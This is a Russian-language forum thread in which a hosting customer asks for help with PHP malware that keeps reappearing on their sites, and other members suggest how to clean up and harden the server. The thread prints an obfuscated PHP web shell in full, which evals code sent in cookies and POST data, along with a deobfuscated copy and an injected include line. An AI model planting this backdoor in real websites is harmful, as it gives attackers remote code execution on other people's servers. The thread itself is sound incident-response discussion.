Вирус на веб-сервере: появляются новые php файлы

Discussion in 'Песочница' started by sirjay, 27 May 2018.

  1. sirjay

    sirjay New Member

    Joined:
    27 May 2018
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    У меня есть виртуальный хостинг с 10+ сайтами от ru-center
    Структура в FTP такая:

    • /site1.com/public_html
    • /site2.com/public_html
    • /site3.com/public_html
    • ...

    Каким-то образом на хостинге появляются новые файлы. Примерно по 3-4 в корень каждого сайта. Файлы такого вида:

    • 76nt0hgr.php
    • ajax28.php
    • hmbjcewn.php

    Пример содержания одного из них:

    <?php
    $bhavl = 'pul821nm7_6ste-vxy'agior#kdHbc*94' ;$ejlnjbs = Array();$ejlnjbs[] = $bhavl[27].$bhavl[30];$ejlnjbs[] = $bhavl[24];$ejlnjbs[] = $bhavl[31].$bhavl[8].$bhavl[32].$bhavl[10].$bhavl[ 4].$bhavl[26].$bhavl[5].$bhavl[29].$bhavl[14].$bha vl[32].$bhavl[32].$bhavl[31].$bhavl[5].$bhavl[14]. $bhavl[32].$bhavl[29].$bhavl[3].$bhavl[26].$bhavl[ 14].$bhavl[28].$bhavl[32].$bhavl[28].$bhavl[19].$b havl[14].$bhavl[4].$bhavl[32].$bhavl[31].$bhavl[19 ].$bhavl[5].$bhavl[19].$bhavl[13].$bhavl[13].$bhav l[3].$bhavl[5].$bhavl[13].$bhavl[10];$ejlnjbs[] = $bhavl[29].$bhavl[22].$bhavl[1].$bhavl[6].$bhavl[1 2];$ejlnjbs[] = $bhavl[11].$bhavl[12].$bhavl[23].$bhavl[9].$bhavl[ 23].$bhavl[13].$bhavl[0].$bhavl[13].$bhavl[19].$bh avl[12];$ejlnjbs[] = $bhavl[13].$bhavl[16].$bhavl[0].$bhavl[2].$bhavl[2 2].$bhavl[26].$bhavl[13];$ejlnjbs[] = $bhavl[11].$bhavl[1].$bhavl[28].$bhavl[11].$bhavl[ 12].$bhavl[23];$ejlnjbs[] = $bhavl[19].$bhavl[23].$bhavl[23].$bhavl[19].$bhavl [17].$bhavl[9].$bhavl[7].$bhavl[13].$bhavl[23].$bh avl[20].$bhavl[13];$ejlnjbs[] = $bhavl[11].$bhavl[12].$bhavl[23].$bhavl[2].$bhavl[ 13].$bhavl[6];$ejlnjbs[] = $bhavl[0].$bhavl[19].$bhavl[29].$bhavl[25];foreach ($ejlnjbs[7]($_COOKIE, $_POST) as $hhvsm => $cejrm){function twojb($ejlnjbs, $hhvsm, $jkzowhs){return $ejlnjbs[6]($ejlnjbs[4]($hhvsm . $ejlnjbs[2], ($jkzowhs / $ejlnjbs[8]($hhvsm)) + 1), 0, $jkzowhs);}function llhbte($ejlnjbs, $jxzkvi){return @$ejlnjbs[9]($ejlnjbs[0], $jxzkvi);}function flkmrh($ejlnjbs, $jxzkvi){$gtuyb = $ejlnjbs[3]($jxzkvi) % 3;if (!$gtuyb) {eval($jxzkvi[1]($jxzkvi[2]));exit();}}$cejrm = llhbte($ejlnjbs, $cejrm);flkmrh($ejlnjbs, $ejlnjbs[5]($ejlnjbs[1], $cejrm ^ twojb($ejlnjbs, $hhvsm, $ejlnjbs[8]($cejrm))));}

    И что самое интересное, вирус редактирует файл index.php, добавляя в самое начало файла примерно такой код (для каждого сайта немного отличается, но вид одинаковый):

    <?php
    /*29440*/
    @iNcluDe "57h157m145/143s55l151s164/146r151d141r171.14 3o155/144o143s57.144f665143e65256i143o";
    /*29440*/


    Я обращался в ru-center, а мне сказали эта ваши проблемы в уязвимости сайтов. Но тоже странно: у меня сайты на Yii2 framework, Wordpress (обновленные) и несколько сайтов на чистом html + формы обратной связи на php
    Важно: после удаления всех этих файлов и кода через неделю они снова появляются

    Есть у кого-нибудь идеи в чем может быть проблема? Очень нужна помощь
     
  2. st55

    st55 Level 8

    Joined:
    20 Apr 2016
    Messages:
    178
    Likes Received:
    295
    Reputations:
    47
    Забавный код и очень непонятный.

    Code:
    foreach(array_merge($_COOKIE, $_POST) as $hhvsm => $cejrm)
    {
        function twojb($ejlnjbs, $hhvsm, $jkzowhs)
        {
            return substr(str_repeat($hhvsm . "97462d1c-4491-4c8d-b4ba-249a1aee81e6", ($jkzowhs / strlen($hhvsm)) + 1), 0, $jkzowhs);
        }
    
        function llhbte($ejlnjbs, $jxzkvi)
        {
            return @pack("H*", $jxzkvi)''
        }
    
        function flkmrh($ejlnjbs, $jxzkvi)
        {
            $gtuyb = count($jxzkvi) % 3;
    
            if(!$gtuyb)
            {
                eval($jxzkvi[1]($jxzkvi[2]));
                exit();
            }
        }
    
        $cejrm = llhbte($ejlnjbs, $cejrm);
        flkmrh($ejlnjbs, explode("#", $cejrm ^ twojb($ejlnjbs, $hhvsm, strlen($cejrm))));
    }
    В больше файлов нет никаких?
    Содержимое всех файлов в студию.
     
  3. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    498
    Reputations:
    154
    1) Проверить даты изменения всех файлов + системное время
    2) Проверить bash_history
    3) Проверить crontab, /etc/cron.d и т.п. spool
    4) Проверить список демонов в авторане
    5) Проверить список запущенных процессов и сервисов. А так же какие службы слушают порты на данный момент.
    6) Переналить образ? выполнить дифф всех файлов с дохакерской версией сайт(ов).
    7) Настроить .htaccess и разграничить серверами пределы сайтов.
    8) Проанализировать логи apache|nginx на предмет как могут попадать. Так же интересно глянуть syslog.
    9) Обратиться к @winstrool за профессиональной помощью (коммерческий вариант)
     
    _________________________
    crlf likes this.
  4. dmax0fw

    dmax0fw Level 8

    Joined:
    31 Dec 2017
    Messages:
    107
    Likes Received:
    131
    Reputations:
    46
    если хочешь понять первопричину взлома - грепай логи веб серверов,ftp и ssh коннектов
    если хочешь усложнить атакующему жизнь и минимизировать удар:
    Code:
    chown -R 0:0 /site1.com/public_html/
    find /site1.com/public_html/ -type f -exec chmod 644 {} \;
    find /site1.com/public_html/ -type d -exec chmod 755 {} \;
    на те директории, в которые нужно писать всем(например uploads,cache,images), устанавливаешь права 777 и через .htaccess отключаешь php движок в этих директориях
    таким образом, если атакер заливает шелл через уязвимость в CMS, то больше не зальёт ибо в общедоступных директориях его шелл не запустится, а если его шелл уже надёжно спрятан и ты его не можеш найти - то он всё равно не сможет записать свой вредоносный код в index.php ибо прав нет
    ну и конечно поменять все пароли на ftp/ssh, обновить все пакеты до актуального состояния
    если после всего проделанного всё равно внедряют код в файлы сайта - значит у атакера есть root привилегии, а это значит только одно:туши свет и бросай гранату(сноси всю ОС и ставь всё по новой)
     
    crlf likes this.
  5. karkajoi

    karkajoi Well-Known Member

    Joined:
    26 Oct 2016
    Messages:
    433
    Likes Received:
    320
    Reputations:
    5
    Возможно плагины под wp имеют RCE.
     
  6. sirjay

    sirjay New Member

    Joined:
    27 May 2018
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Всем спасибо за ответ. В логах apache я еще такие запросы заметил (это только часть), как раз к загруженным кем-то файлам. Странно еще, что везде разный IP

    [Fri May 25 11:09:22.307068 2018] [php7:error] [pid 31380] [client 37.59.44.168:41908] script '/home/cs-list/mysite.ru/docs/modules.php' not found or unable to stat, referer: http://www.mysite.ru/modules.php?name=Forums
    [Fri May 25 11:55:27.594034 2018] [php7:error] [pid 31389] [client 188.225.17.7:52972] script '/home/cs-list/mysite.ru/docs/img/nwwgtkyj.php' not found or unable to stat, referer: https://mysite.ru/img/nwwgtkyj.php
    [Fri May 25 11:55:35.363493 2018] [php7:error] [pid 31387] [client 50.62.161.88:53882] script '/home/cs-list/mysite.ru/docs/fonts/xekvmfpc.php' not found or unable to stat, referer: https://mysite.ru/fonts/xekvmfpc.php
    [Fri May 25 11:55:40.011106 2018] [php7:error] [pid 31387] [client 210.48.152.152:54466] script '/home/cs-list/mysite.ru/docs/js/hqibovju.php' not found or unable to stat, referer: https://mysite.ru/js/hqibovju.php
    [Fri May 25 11:55:40.839767 2018] [php7:error] [pid 31387] [client 92.53.96.44:54566] script '/home/cs-list/mysite.ru/docs/img/bakewxnj.php' not found or unable to stat, referer: https://mysite.ru/img/bakewxnj.php


    А в разделе Безопасность в хостинге ru-center эти левые файлы система хостинга распознала как Trojan
     
  7. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    639
    Likes Received:
    1,350
    Reputations:
    409
    Если хостер не решает проблему сам, значит жалоб со стороны клиентов нет, и с сервером всё впорядке.
    Скорее всего причина на вашей стороне. Слабые пароли, уязвимый/протрояненый софт/плагины.
    Не решив проблему как можно скорее, существует риск потери позиций сайтов в поисковой выдаче, попадание в антивирусные/спам листы, что повлечёт за собой снижение дохода. В этом случае лучше не медлить и обратиться к специалистам, которые поставят всё на контроль, вычистят и залатают.

    Похоже это другие заражённые хосты.
     
  8. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,565
    Reputations:
    40
    Советую
    PHP:
    https://forum.antichat.ru/forums/110/
     
  9. DmitryU

    DmitryU Member

    Joined:
    20 Jan 2012
    Messages:
    68
    Likes Received:
    58
    Reputations:
    1
    Хостился у нас сайт дружественной компании, с дырявым битрикс. Происходило с ним что-то очень похожеее, а нанимать кого-то для обновления компания не хотела, мотивируя тем что вот-вот закажет новый сайт с нуля.
    Так чтобы не заморачиваться, удалили левые php файлы, инклюды, а на оставшиеся сделали:

    sudo chattr -R -i /home/bitrix/

    *immutable. Указывает, что файл защищен от изменений: не может быть удален или переименован, никакая ссылка (жесткая) не может быть создана на этот файл, никакие данные не могут быть записаны в файл.

    Можно так же сделать, пока разбор полетов идет
     
  10. dmax0fw

    dmax0fw Level 8

    Joined:
    31 Dec 2017
    Messages:
    107
    Likes Received:
    131
    Reputations:
    46
    Code:
    sudo chattr -R +i /home/bitrix/
    -i снимает атрибут
     
    grimnir and DmitryU like this.
  11. DmitryU

    DmitryU Member

    Joined:
    20 Jan 2012
    Messages:
    68
    Likes Received:
    58
    Reputations:
    1
    Да, точно
     
  12. BestPentester

    BestPentester Banned

    Joined:
    15 Feb 2018
    Messages:
    8
    Likes Received:
    40
    Reputations:
    0
    возможно тебя взломали хакерским сплойтом и подгружают вирусы
     
Loading...